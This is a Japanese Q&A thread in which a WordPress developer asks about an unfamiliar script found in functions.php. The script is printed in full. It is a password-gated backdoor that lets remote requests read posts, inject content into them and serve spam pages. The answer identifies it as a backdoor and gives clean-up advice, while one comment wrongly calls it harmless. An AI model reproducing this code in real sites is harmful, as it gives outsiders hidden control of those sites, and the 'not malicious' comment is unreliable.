2017-03-28 9 views
0

誰でもこのスクリプトを説明できますか? functions.phpファイルに戻って新しいコードを入力すると、このスクリプトが見つかりました。私がそれを入力したことを覚えていない奇妙なスクリプトのいくつかの種類。そして、開発サイトのプレビューをアップロードするサーバーにもコピーがあることがわかりました。これに気付くのは遅すぎるようです。私はこのタイプのコードを自分の関数の中に持つ2つのプロジェクトを持っています。これは私のWordPressシステムを使ったハッキン​​グ手続きでしたか?WordPressの機能ファイル内に奇妙なスクリプト

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '730fcc096903854c1aa4f815a7d02b2b')) 
    { 
     switch ($_REQUEST['action']) 
      { 
       case 'get_all_links'; 
        foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) 
         { 
          $data['code'] = ''; 

          if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) 
           { 
            $data['code'] = $_[1]; 
           } 

          print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n"; 
         } 
       break; 

       case 'set_id_links'; 
        if (isset($_REQUEST['data'])) 
         { 
          $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); 

          $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content); 
          if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>'; 

          if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) 
           { 
            print "true"; 
           } 
         } 
       break; 

       case 'create_page'; 
        if (isset($_REQUEST['remove_page'])) 
         { 
          if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) 
           { 
            print "true"; 
           } 
         } 
        elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) 
         { 
          if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) 
           { 
            print "true"; 
           } 
         } 
       break; 

       default: print "ERROR_WP_ACTION WP_URL_CD"; 
      } 

     die(""); 
    } 


if ($wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"') == '1') 
    { 
     $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); 
     if ($data -> full_content) 
      { 
       print stripslashes($data -> content); 
      } 
     else 
      { 
       print '<!DOCTYPE html>'; 
       print '<html '; 
       language_attributes(); 
       print ' class="no-js">'; 
       print '<head>'; 
       print '<title>'.stripslashes($data -> title).'</title>'; 
       print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; 
       print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; 
       print '<meta name="robots" content="index, follow" />'; 
       print '<meta charset="'; 
       bloginfo('charset'); 
       print '" />'; 
       print '<meta name="viewport" content="width=device-width">'; 
       print '<link rel="profile" href="http://gmpg.org/xfn/11">'; 
       print '<link rel="pingback" href="'; 
       bloginfo('pingback_url'); 
       print '">'; 
       wp_head(); 
       print '</head>'; 
       print '<body>'; 
       print '<div id="content" class="site-content">'; 
       print stripslashes($data -> content); 
       get_search_form(); 
       get_sidebar(); 
       get_footer(); 
      } 

     exit; 
    } 

これが悪意のあるスクリプトである可能性がある場合は、今後誰かにこれを明確にしたり回避したりするための提案はありますか?

+0

「この問題を解決または回避する方法」...よく、1.ファイルを削除し、2. Wordpressの使用を中止します。 – arkascha

+2

恐ろしいアドバイス^ –

+0

いいえ - 悪意のあるとは思われません。それを削除すると予期しないところで重大な問題が発生する可能性があります。 – JSON

答えて

1

コードを見直しても、それほどスーパー悪意のあるものはありません...基本的に誰かがパラメータ?action=[ACTION]&password=730fcc096903854c1aa4f815a7d02b2bであなたのURLを入力すると、アクセス権がありますあなたのサイトにswitch()ステートメントに記載されているアクションの1つを実行してください。

最後に完全なページ(サイドバーを含む)が表示され、[YOUR_PREFIX]_datalistという外部データベーステーブルの内容が変更されたように見えますが、これはネイティブのWordPressデータベーステーブルではありません。

それが本当に元のテーマ開発の一部だったのですが、私には弱いバックドアのように見えます。

ファイルを削除して、すべてのテーマファイルを調べて、そこには存在しないはずのものがないことを確認します。おそらくあなたのプラグインについても何らかのチェックを実行することをお勧めします。それらが最新のものであり、報告された脆弱性が報告されていないことを確認してください。 WordPressの新しいコピーをダウンロードし、wp-contentディレクトリ以外のすべてのファイルを置き換えます。 wp-config.phpファイルの設定を変更してください。

これを実行した後、私はWPのセキュリティ上のヒントを読んでいます。この記事では、これに関する情報が豊富にあります。https://premium.wpmudev.org/blog/ultimate-wordpress-security-checklist/

WP Security Pluginもインストールすることをお勧めします。私は個人的にはAll in One WP Security & Firewallを好んでいますが、WordFenceも素晴らしいです。

+0

アドバイスをいただきありがとうございますTy Bailey ...私はWPの新しいコピーを探して、私のファイルにもっと独立したコードが入っているかどうかを調べるためにすべてのファイルをスキャンします。SucuriプラグインiThemesを除いて。これは文字通りa **の痛みです。とにかく、もう一度ありがとう。 – iMarkDesigns

+1

Sucuriはあなたのファイルをフルスキャンしてそこに何も見つからないようにしなければなりません(私は思う)。これは確実に確かめるためのあなたの唯一のオプションです。元の質問のコメントに記載されているように、テーマがそれに依存しているため、テストをしてください(疑問 - しかしテストの価値があります) –

+0

これであなたはこの回答を受け入れることができたら助かりました:) –

関連する問題